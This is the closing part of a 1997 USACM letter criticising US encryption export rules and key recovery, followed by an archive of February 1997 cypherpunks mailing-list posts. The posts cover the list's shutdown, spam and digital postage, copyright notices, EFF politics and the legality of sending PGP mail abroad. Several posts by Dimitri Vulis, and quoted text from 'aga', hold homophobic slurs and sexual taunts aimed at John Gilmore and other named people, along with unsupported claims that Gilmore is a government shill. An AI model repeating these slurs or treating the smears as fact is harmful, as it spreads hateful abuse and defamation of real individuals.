        The USACM believes the Interim Rule should be rewritten to avoid
dissuading innovation and development and eliminating the U.S.'s core
competency in cryptography.  It should also recognize the need for
consistency in interoperable systems.

Key Recovery

        The USACM recognizes that there is a real market demand for key
recovery products from business and government employers.  However, the
viability of a KRI has not yet been determined.  It has not yet been
subject to the vigorous testing necessary for a proposed standard.  There
is little understanding of how such a system would operate and what
controls would be needed to ensure that it remained secure.  Part 740
describes the development of a Key Recovery Infrastructure within two
years.  We believe it is unwise for the United States to insist on the
development of a untested, unproved technology for a worldwide
infrastructure. The National Research Council report stated that a
feasibility study needed to be performed on a smaller scale before key
escrow could be seriously proposed for commercial applications.  We
believe this warning applies to KRI as well.  While key recovery tools may
be appropriate in some settings, we believe it would be wrong to impose
such restrictions on users or businesses and the Interim Rule should not
dictate that businesses limit their research to a potentially unworkable
system.

Privacy

       The USACM believes that certain principles should be reflected in a
national cryptography policy.  Encryption should be used for privacy
protection and to encourage the development of technologies and
institutional practices which will provide real privacy for the future
users of the NII and real security for the protection of the system. The
USACM believes that transferring the regulation of cryptography to the
Commerce Department could establish United States leadership in protecting
the privacy rights of its citizens.  However the Interim Rule fails to do
that.

Conclusion

       We recognize that the government has a legitimate interest in
protecting national security. However, whether or not the worldwide
infrastructure is achieved, the role of national security agencies will
remain difficult.  The government's proposal to balance national security,
business, and privacy interests by creating a Key Recovery Infrastructure
within the next two years is overly aggressive.  We suggest that the
development of a policy that serves the long term interests of our
nation's security will not be one based on a Key Recovery Infrastructure,
but rather one that anticipates the widespread availability of strong
encryption and the multifaceted demands of a global economy.  Toward that
end, the interests in protecting open research within the U.S. academic
community will be crucial.

Sincerely,




Barbara Simons, Ph.D
Chair, United States Public Policy Office for the
Association for Computing

        The ACM, founded in 1947, is an international non-profit
educational and scientific society dedicated to the development and use of
information technology, and to addressing the impact information
technology has on the world's major social challenges. The Association's
activities include the publication of scholarly journals and the
sponsorship of special interest groups (SIGS) in numerous disciplines. ACM
has 76,000 members.  The 60,000 who reside in the United States are
academic, professional, scientific, and ordinary users of
telecommunications technology and have a strong interest in the
development of sound encryption policies. The USACM provides a means for
promoting dialogue on technology policy issues with United States policy
makers and the general public. We respond to requests for information and
technical expertise from United States government agencies and
departments, seeks to influence relevant United States government policies
on behalf of the computing community and the public, and provides
information to the ACM on relevant United States government activities.



----------------------------------------------------------------------------
----------------------------------------------------------------------------
Lauren Amy Gelman                               gelmanl@gwis2.circ.gwu.edu
George Washington University                    gelman@epic.org
Science, Technology, and Public Policy Program  gelman@acm.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Fri, 14 Feb 1997 17:30:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Good Bye Cypherpunks!
In-Reply-To: <199702140618.WAA23553@toad.com>
Message-ID: <199702150130.TAA09170@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin writes:
 > Just for the record.  I will not post to USENET given the spamming that
 > seems to go to IDs that appear there.  
 > 
 > If any of you reading this are interested in law&crypto topics, please
 > bookmark my homepage, and vist every so often.

I suggest that you munge up your from line and possibly your reply-to
address in Usenet postings.  Folks who actually want to communicate
with you can derive your address from your .sig.

By the way, I have intentions of including your web page(s) as
references in the cypherpunks-resources faq I am producing.  Any
objections to this? (I know it's in your .sig and you want to
advertise it, but it just strikes me as _polite_ to ask.)

me

-- 
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1980
---------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 14 Feb 1997 17:43:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702150150.TAA07298@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Kent Crispin <kent@songbird.com>
> Subject: Re: Private property & the cypherpunks list(s) (fwd)
> Date: Fri, 14 Feb 1997 14:10:36 -0800 (PST)

> Jim, if I put "Copyright (c) 1997 by Kent Crispin.  All Rights 
> Reserved." in my .sig, would that constitute a "fair-use header"?

As I understand it '(c)' is not considered acceptably close to the normal
copyright symbol. What I have been advised is to always spell out 'copyright
<date> <person>'.

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Fri, 14 Feb 1997 19:47:52 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <v02140b04af2ac1ba0e9d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


I want to thank you for the years of graciously hosting the cypherpunks
list.  Although I have only been active on the list since September, I have
lurked much longer and found it to be an invaluable source of information,
networking, discourse and inspiration.

I respect your decisions first to experiment with moderation and later to
pull the plug.  I regret your attempts in resolving the uncivil behavior of
'the few' failed and that some key posters, who had served as the
'backbone' of interesting discussion on the list, were driven off by the
insuing clamor and the off-topic rants.  So be it.  One way or another the
cypherpunks have spoken.

So, now its on to Usnet and more focused/moderated lists.  The LIST IS
DEAD, long live THE LISTS!

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 14 Feb 1997 17:49:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fuck UseNet (fwd)
Message-ID: <199702150156.TAA07307@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 14 Feb 1997 14:39:41 -0800 (PST)
> From: Kent Crispin <kent@songbird.com>

> But the distributed mailing list is by far the most interesting 
> solution.  Contrary to what some have claimed, it really isn't the 
> same as usenet -- it allows for distributed control.  There is no 
> doubt that the operator of a mail list host should have the freedom 
> to set his or her policies as they see fit -- it is their machine, 
> and their responsibility.  And contrariwise, subscribers should have 
> the freedom to chose list hosts with compatible philosophies.

Perhaps in addition to the X-foo structures we have discussed already we
might consider adding,

X-distrib-policy: foo

Where foo might be,

         Public Domain
         All rights reserved, contact author for redistribution
         Distribution for non-commercial uses permitted
         Refer to authors header
         Copyleft
         etc.

or whatever the policy might be for a given remailer. This would
significantly aid folks in their shopping around.


                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 14 Feb 1997 20:16:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: The EFF
In-Reply-To: <199702141704.JAA03249@netcom10.netcom.com>
Message-ID: <v03007800af2ae8818f1a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:36 AM -0800 2/14/97, Declan McCullagh wrote:

>As for the "rift," may observers said at the time that DT was a Jerry
>Berman "appeasement and capitulation" scheme. Note Berman no longer works
>at EFF. Note EFF is no lnoger in DC.
>
>And yes, I've read Tim May's essay on his EFF membership. I probably would
>have had the same reaction.
>

It might be a useful minor footnote for me to say that I did end up
renewing for a later year (though I kept getting mail as "Tim Mat"). I was
semi-persuaded that they'd learned their lesson.

I stopped paying attention to them a while back, though, and haven't
considered renewing. They just came to seem to be irrelevant as a
"membership driven" organization. (There were reportedly only about 2000
individual members as of not too long ago, and the EFF does little
recruiting for new individual members. They are definitely not following
the NRA or AARP models.)

Their legal work support has been very nice, of course.

As for Berman, he put on the "SAFE" forum, which I thought was very well
done. So, he redeemed himself, for me.

(I don't really understand personally whether the Digital Telephony (CALEA,
Computer Assistance for Law Enforcement) thing is Just Bad, or Really Bad,
or Even Worse, or Inconceivably Evil. No one seems to know what is expected
for Internet telephony providers, for example, or whether DT/CALEA could be
used to shut down remailers, as some of us fear. If DT/CALEA turns out to
be Really Bad, or Even Worse, I'll have to put Berman back on my list of
less desirable folks. :-})

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Fri, 14 Feb 1997 20:40:03 -0800 (PST)
To: "John C. Randolph" <cypherpunks@toad.com
Subject: Re: More on digital postage
Message-ID: <199702150439.UAA04775@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:31 AM 2/14/97 -0800, John C. Randolph wrote:
>
>Tim may says:
>
>>By the way, I think the "junk fax" and "junk phone call" laws are clearcut
>>violations of the First Amendment. I understand why the herd _wants_ these
>>laws, as it reduces the costs involved in replacing fax paper, running to
>>the telephone only to find someone trying to sell something, etc., but it
>>is quite clearly a prior restraint on speech, however well-intentioned.
>
>I have to disagree here.  The junk fax law is a restraint on unauthorised
>use of property, i.e. *my* fax machine, *my* phone, etc. 

However, you connect that fax machine to a phone line, when you know full 
well that should it be enabled to do so, it will automatically pick up the 
phone when it "hears" a ring, and will print out a fax based on information 
provided.  It isn't clear why sending a fax is any "wronger" than mailing 
junk mail, or making a (voice) phone call to somebody.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Fri, 14 Feb 1997 20:40:07 -0800 (PST)
To: Pete Capelli <cypherpunks@toad.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702150439.UAA04787@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:12 AM 2/13/97 -0500, Pete Capelli wrote:
>jim bell wrote:
>> 
>> At 03:25 PM 2/12/97 -0800, Timothy C. May wrote:
>
><Some deleted>
>
>> even more happy to pay, say, 10 cents to each recipient.  At that rate, an average
>> person would probably receive enough "spam" to  pay for his Internet
>> account, quite analogous to the way advertiser-supported TV is presented to
>> the public for no explicit charge.
>
>	Yes, but why does monetary compensation make it then O.K.? 


What, exactly, is your definition of "O.K."?    I didn't say that would make 
it "O.K."   Rather, the inclusion of the money makes the spam somewhat more 
tolerable of an intrusion than it would otherwise be.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Fri, 14 Feb 1997 20:40:59 -0800 (PST)
To: snow <pete@ubisg.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702150440.UAA04809@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:05 AM 2/14/97 -0600, snow wrote:
>Pete:
>> 	Yes, but why does monetary compensation make it then O.K.?  I'd rather
>> pay for my Internet access, then be bombarded by spam, no matter what
>> they paid me!  I think the best soln. is the one that is currently in
>> place for phone calls - they can call once, but if I tell them not to
>> call me again and they do, I can then begin legal action against them. 
>> I pay more per month for my phone service than my Internet service (
>> although in NY, *everything* is more expensive. ), and junk phone calls
>> are way more intrusive then spam.
>
>	I figure if this scheme comes to fruition, I'll just set up a seperate
>account (or procmail) to filter out the spam, deposit the coin, and go on
>about my business.


That's fine...that's EXACTLY the way the system would work!  Intentionally 
so!  The purpose of the payment is not because the sender feels some sort of 
legal obligation to pay; rather it's analogous to a tip to a waiter.

The sender makes the payment based on however much he _wants_ you to pay 
attention to his message, but fully aware that there is no guarantee that 
you'll do so.  

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 14 Feb 1997 18:27:41 -0800 (PST)
To: aaron@herringn.com
Subject: Re: Cypherpunks afraid of spam?
In-Reply-To: <199702142356.PAA18079@toad.com>
Message-ID: <199702150246.UAA03252@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> It seems very strange that the denziens of this list, reputed to be gutsy
> enough to take on the FBI, NSA, CIA, and White House, would be scared
> away from a discussion forum (Usenet) by uninvited email.
> We'd better hope they never figure out Cypherpunks, Guardians of
> Privacy and Defenders of Free Speech, are afraid of spam.

	It isn't the Once and a While Big Ass Knock Down Drag Outs that kick
your ass, it is the mosquito's and the heat, the moldy bread and the drip
drip drip of the constant rain. 

	Even Solid rock gets worn away by the steady drip drip drip of the 
rain. I hate that drip. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 14 Feb 1997 19:24:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702150331.VAA07416@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 14 Feb 1997 17:39:32 -0800
> From: Toto <toto@sk.sympatico.ca>
> Subject: Re: Private property & the cypherpunks list(s) (fwd)

>   Personally, I try to let people know that they may use even my 
> private email in any manner they see fit. I have no objection to
> even those who disagree with me using it to attack me or misdirect
> others, or whatever.
>   I agree with Jim's 'defacto public domain' idea, as long as it 
> does not conflict with the reality of the need for intellectual
> property rights.
>   e.g. - copyright and patent law

I am not preventing people from retaining their rights. I simply recognize
that there are entirely too many different views of 'fair use' to create a
blanket order. I also recognize that one responsibility in a democracy of
all citizens is the protection of the results of human effort. The best way
to protect and preserve information is to place it in the public domain. Of
course the other option is to sell large 'collections' to groups like
Microsoft who would end up charging you out the ya-ya for looking at 'their'
pretty pictures. Wonder what DaVinci would have thought of the way we treat
HIS paintings? But I digress. Given that people have many highly
individualistic views about copyright of their expression and the need to
preserve that expression we must ask ourselves how? One obvious answer is to
place everything in the public domain, I am shure the information race we
experience now would be nothing compared to that worlds output. However,
this prevents truly gifted individuals from being able to spend the time (eg
lifetimes) needed to truly master some forms of expression. We certainly
don't want to support them on the public dole, so there must be some way for
them to make a living off their work. So we recognize their originality or
inherent worth in their expression. We also recognize that there can't be
complete and total protection because most people would not find a buyer for
their expression simply from lack of knowledge. So, lets find a middle
ground, one where people can tell other people about things they experience
as well as feel secure that their efforts have some inherent worth and also
some failsafe to ensure that as much effort as possible gets archived. So
let's require each person to include their prefered choice of copyright in
their communications, otherwise it falls into the public domain.

The only resolution of this approach is that everyone gets what they want.

Not relevant in this forum, but I also believe that material being held in
copyright should fall into the public domain when the copyright holder dies.

>   If you are having trouble understanding the concept I am dealing
> with, here, then I suggest that you drink a bottle of Scotch and
> read this post again.

That's certainly one way to get in the correct attitude...;)


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Fri, 14 Feb 1997 21:47:29 -0800 (PST)
To: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Subject: Re: Letter Re: Kahn Supporting GAK
Message-ID: <199702150547.VAA12326@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:35 PM 2/5/97 +0000, Robert Rothenburg 'Walking-Owl' wrote:
>Good point: but I've seen a few refs from LEAs about "Drug Dealer X 
>who we can't talk about" or "Child Pornographer Y who we can't talk 
>about" (in lieu of cases being digested by the court system) so I 
>didn't harp on that point.
>
>A point I did leave out was that if they already knew these people 
>were criminals and were building cases against them, monitoring them 
>enough to know they used crypto, then do they really need to bother 
>with listening in to the exact message?


I think it would be appropriate to insist that these guys (the LEAs) 
document their need for decryption, by providing "us" (the public) with an 
encrypted version of the data that they have accessed but cannot understand, 
as well as its source and what case it's associated with.  The LEAs would 
encrypt it and publicize it (not openly identifying the details) but with 
the promise that the key to unlock the information would be released within, 
say, a year or even earlier once a case is brought.  Included within the 
encrypted identification would be references sufficient to identify the case 
involved.

If they have any doubts as to why they should do this, we should point out 
that we see no reason to believe their claims, but we want to give them the 
maximum opportunity to prove them without requiring that they spill the 
beans, completely, now.   

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scott Auge <scotta@sauge.com>
Date: Fri, 14 Feb 1997 19:07:24 -0800 (PST)
To: "Scott A. Hommel" <shommel@zoo.uvm.edu>
Subject: Re: pgp encrypted messages
In-Reply-To: <199702142326.PAA16968@toad.com>
Message-ID: <33052867.5AE385E0@sauge.com>
MIME-Version: 1.0
Content-Type: text/plain


Scott A. Hommel wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Is it legal or illegal to send a
> PGP encrypted message from the US to someone in another country?
> 

Suppose it depends on what ya put IN the message....

-- 
How has the government interfered in your life today?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Feb 1997 20:14:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A "Default Faggot"/ was:Dale disses gays.
In-Reply-To: <Pine.LNX.3.95.970214172753.30152B-100000@dhp.com>
Message-ID: <T2D62D27w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


aga <aga@dhp.com> writes:

> On Fri, 14 Feb 1997, Anonymous wrote:
>
> > Date: Fri, 14 Feb 1997 12:45:07 -0700
> > From: Anonymous <nobody@wazoo.com>
> > Reply-To: freedom-knights@jetcafe.org
> > To: freedom-knights@jetcafe.org
> > Subject: Re: Dale disses gays.
> >
> > aga <aga@dhp.com> writes:
> >
> > > Now just who is thisa guy? -- who keeps posting under
> > > "nobody" at the cajones remailer?  Anybody have him/her
> > > tagged yet for the real person?
> >
> > Probably multiple people.  It's just an anonymous remailer.
> >
> > > ...
> > > I don't know.  It has always been easy for me to spot a faggot.  I
> > > mean, I can even tell by their voice if they are queer.
> >
> > Well, those of us who happen to know Gilmore is straight are not very
> > impressed with your accuracy.
> >
>
> Well, I never talked to Gilmore, but I will tell you this:
> I have never seen him come outright and say "I am straight and not
> gay."  So until he says that, he is a default faggot.
>
> The default faggots are the worst kind.  If a guy would just say
> "o.k., I am gay," I can respect him and drop the subject.  It is the
> ones who refuse to admit they are gay that bug me the most.

I used to know cocksucker John Gilmore personally and I'm convinced
that he's is an effeminate limp-wristed faggot.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Feb 1997 20:12:24 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Dave Hayes takes over Cypherpunks
In-Reply-To: <33051F8F.7798@sk.sympatico.ca>
Message-ID: <g0D62D28w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> aga wrote:
> > How about that we require everybody to state their sex and sexual
> > orientation in the future, so we have no future problems.
> > I am a "Male Heterosexual" -- what about the rest of you?
> > If you refuse to answer, you are presumed to be a gay boy who
> > is hiding it.
>
>  I am a "Male, Cross-Dressing Heterosexual."

I'm a male heterosexual.

Cocksucker John Gilmore is a faggot. So is his boss Bobby Inman from NSA.
John Gilmore is a U.S.Government shill out to suck resources into
fruitless flame war and to sabotage our efforts to deploy crypto.

What about Timmy May and Eric Hughes? Are they faggots in U.S.G.
employ or mere mindless dupes?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Feb 1997 20:12:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <33051616.2DC2@sk.sympatico.ca>
Message-ID: <5Pe62D30w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Omegaman wrote:
> > the notion that cypherpunks is dead and destroyed is silly.
>
>   Give the man a fucking cigar!
>   Why don't a few of us start a "CypherPunks is ignonimous" thread,
> and see what silly clap-trap results? Maybe the thread could be
> started by the guy in New York city who began a campaign to clothe
> animals, so that their 'dicks' wouldn't show. He garnered quite a
> following.
>
>   Did anyone notice the 'pun' in Declan's subject header?
>   "A List Goes Down In FLAMES"
>   Did Declan notice it?
>
>   My theory is that the news/press that we consume from our media-feeders
> starts around a 'catchy' headline, from which the press then builds a
> story to highlight their puns.

The whole list?

Or just Gilmore goes down on Sandfart and Sandart goes down on Parekh
and Parekh goes down on Gilmore - like a daisy chain?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Fri, 14 Feb 1997 20:28:20 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: Good Bye Cypherpunks!
In-Reply-To: <199702142338.SAA18913@homeport.org>
Message-ID: <Pine.SUN.3.95.970214233035.23677B-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


Yes, I get spam too.  But it's still less than the spam directed at an old
account on another machine, that posted regularly to usenet until about 3
years ago!  And hasn't been used at all since...


On Fri, 14 Feb 1997, Adam Shostack wrote:

> Date: Fri, 14 Feb 1997 18:38:24 -0500 (EST)
> From: Adam Shostack <adam@homeport.org>
> To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
> Cc: shamrock@netcom.com, tcmay@got.net, cypherpunks@toad.com
> Subject: Re: Good Bye Cypherpunks!
> 
> Michael Froomkin - U.Miami School of Law wrote:
> | Just for the record.  I will not post to USENET given the spamming that
> | seems to go to IDs that appear there.  
> 
> 	Your postings appear on the web, as part of the cypherpunks
> archives at infinity.nus.sg.
> 
> http://infinity.nus.sg/cypherpunks/current/0089.html
> 
> 	There seem to be robots that search the web; I've never even
> read usenet from this account, and I get spam.
> 
> Adam
> 
> 
> -- 
> "It is seldom that liberty of any kind is lost all at once."
> 					               -Hume
> 
> 

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Fri, 14 Feb 1997 20:46:21 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re:
In-Reply-To: <855947474.1029113.0@fatmans.demon.co.uk>
Message-ID: <Pine.SUN.3.95.970214234802.23677J-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


[cc list trimmed!]

On Fri, 14 Feb 1997 paul@fatmans.demon.co.uk wrote:

> 
> > Is it legal or illegal to send a 
> > PGP encrypted message from the US to someone in another country?
> 
> Yes.
> 

Rubbish.  It is perfectly legal.  See generally
http://www.law.miami.edu/~froomkin/articles/clipper.htm

PS. His sexist comments are rubbish too.  I usually like his crypto posts,
however, as long as they are technical rather than legal...

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 14 Feb 1997 16:05:18 -0800 (PST)
To: tcmay@got.net
Subject: Re: Good Bye Cypherpunks!
In-Reply-To: <v03007805af2a81a440c4@[207.167.93.63]>
Message-ID: <199702142359.XAA02745@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> [...]
> By the way, I can forward to those who are interested these four or five
> posts which got "Meta-Censored." (Unless too many people request
> them...I'll promise to forward them to the first five people who request
> them...then some of you can repost them to the list and see if they make it
> through.)

I'd like to see them.  In fact I'd like to collect the posts which slipped
through the crack and didn't make it to either cp-flames or cp, on the
assumption that these are the posts which tell the story.

In particular I'd like to see the post that John Gilmore refered to as `Mr
Nemesis' post, wherein someone allegedly slanders/libels C2, to the
extent that Sandy dropped it from both lists, if anyone who was
subscribed to cypherpunks-unedited at the time has it still.

Unfortunately I was subscribed to only cypherpuks-flames and
cypherpunks (the edited list) at the time, so didn't get to see it.

I'm on Lance Cottrell's cypherpunks@cyberpass.net now, which is
subscribed to the cypherpunks-unedited list.  At the moment Lance is
setting Reply-To: to cypherpunks@toad.com, but I presume he'll drop
that when John Gilmore drops cypherpunks@toad.com.

The moderation decisions that I saw prior to moving to
cypherpunks-unedited after Sandy's return, and change of policy, were
even more arbitrary.  I figured I wasn't even interested to see what
they were any more, given that the cypherpunks@toad.com was shortly
being closed anyway, so just subscribed to cypherpunks-unedited.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 14 Feb 1997 22:09:00 -0800 (PST)
To: antimod@nym.alias.net (Against Moderation)
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <19970215060243.25796.qmail@anon.lcs.mit.edu>
Message-ID: <199702150605.AAA13070@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Against Moderation wrote:
> aga <aga@dhp.com> writes:
> > > > ...  Remember the previous cypherpunk who stated that the
> > > > gays "created and run usenet."
> > ...
> > It was on the list last month, and the person was serious and correct.
> > That is exactly why we must now kill all of usenet as it stands, for
> > a new heterosexual beginning.
> >
> > ...  We are here to
> > "rip new assholes" in the faggots who have ruined the net thus far,
> > and to take over and make this net heterosexual oriented.
> 
> So if I follow your argument, gays created and run usenet, and have
> also ruined it thus far.  Can you just clarify a few points?  I'm
> trying to follow your premise here [which I don't necessarily
> believe], and it seems contradictory.
> 
>   * If gays ruined usenet, does that mean at one point usenet was a
>     good thing before it was ruined?  If so, gay people at least
>     deserve credit for creating something good, even if they didn't
>     manage to run it well.

Some say, in fact, that Internet and USENET have been created by Dr. 
Grubor.

> I just don't understand whom you are fighting over what and why.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 14 Feb 1997 22:38:16 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702150440.UAA04809@mail.pacifier.com>
Message-ID: <199702150634.AAA13324@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


jim bell wrote:
> At 02:05 AM 2/14/97 -0600, snow wrote:
> >Pete:
> >> 	Yes, but why does monetary compensation make it then O.K.?  I'd rather
> >> pay for my Internet access, then be bombarded by spam, no matter what
> >> they paid me!  I think the best soln. is the one that is currently in
> >> place for phone calls - they can call once, but if I tell them not to
> >> call me again and they do, I can then begin legal action against them. 
> >> I pay more per month for my phone service than my Internet service (
> >> although in NY, *everything* is more expensive. ), and junk phone calls
> >> are way more intrusive then spam.
> >
> >	I figure if this scheme comes to fruition, I'll just set up a seperate
> >account (or procmail) to filter out the spam, deposit the coin, and go on
> >about my business.
> 
> 
> That's fine...that's EXACTLY the way the system would work!  Intentionally 
> so!  The purpose of the payment is not because the sender feels some sort of 
> legal obligation to pay; rather it's analogous to a tip to a waiter.
> 
> The sender makes the payment based on however much he _wants_ you to pay 
> attention to his message, but fully aware that there is no guarantee that 
> you'll do so.  

I can suggest a scheme where a fee would be attached to the message,
and the recipient would be able to get the money only after having
read and understood the message.

For example, you might receive the following message (it could be encrypted
by your public key to preserve the cash from the MITM):

To: jimbell@pacifier.com
From: spammer@dm1.com (Direct Marketing, by way of telysis.com)
Subject: an encrypted cyberdollar for you
X-Encrypted-Postage: 0891281229qwqoifoweihjrfiohsdlifhsluire82374029849
                     weuiyruiy3478ye874t23876459823y4897y5897y23849y589
                     39847578r3498yt893y75t9843y75t897y4385t9y74897gy77
X-Encryption-Key: in the message body

Dear Jim,

Here's one cyberdollar for you. It is "locked" by an encryption key. The
cybercoin is encrypted by an IDEA key and you can find out the key
by reading the message below:

@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ 
Valentines' day presents at www.cheap-stuff.com!

An ideal Valentine's day present for your significant other, at a 
reduced cost for you! You can buy your loved one a thousand used 
condoms (mint condition) at a reduced rate of ONLY $5.95!

Visit us at http://www.cheap-stuff.com/cgi-bin/condoms/key.cgi?name=jimbell
to get your postage!
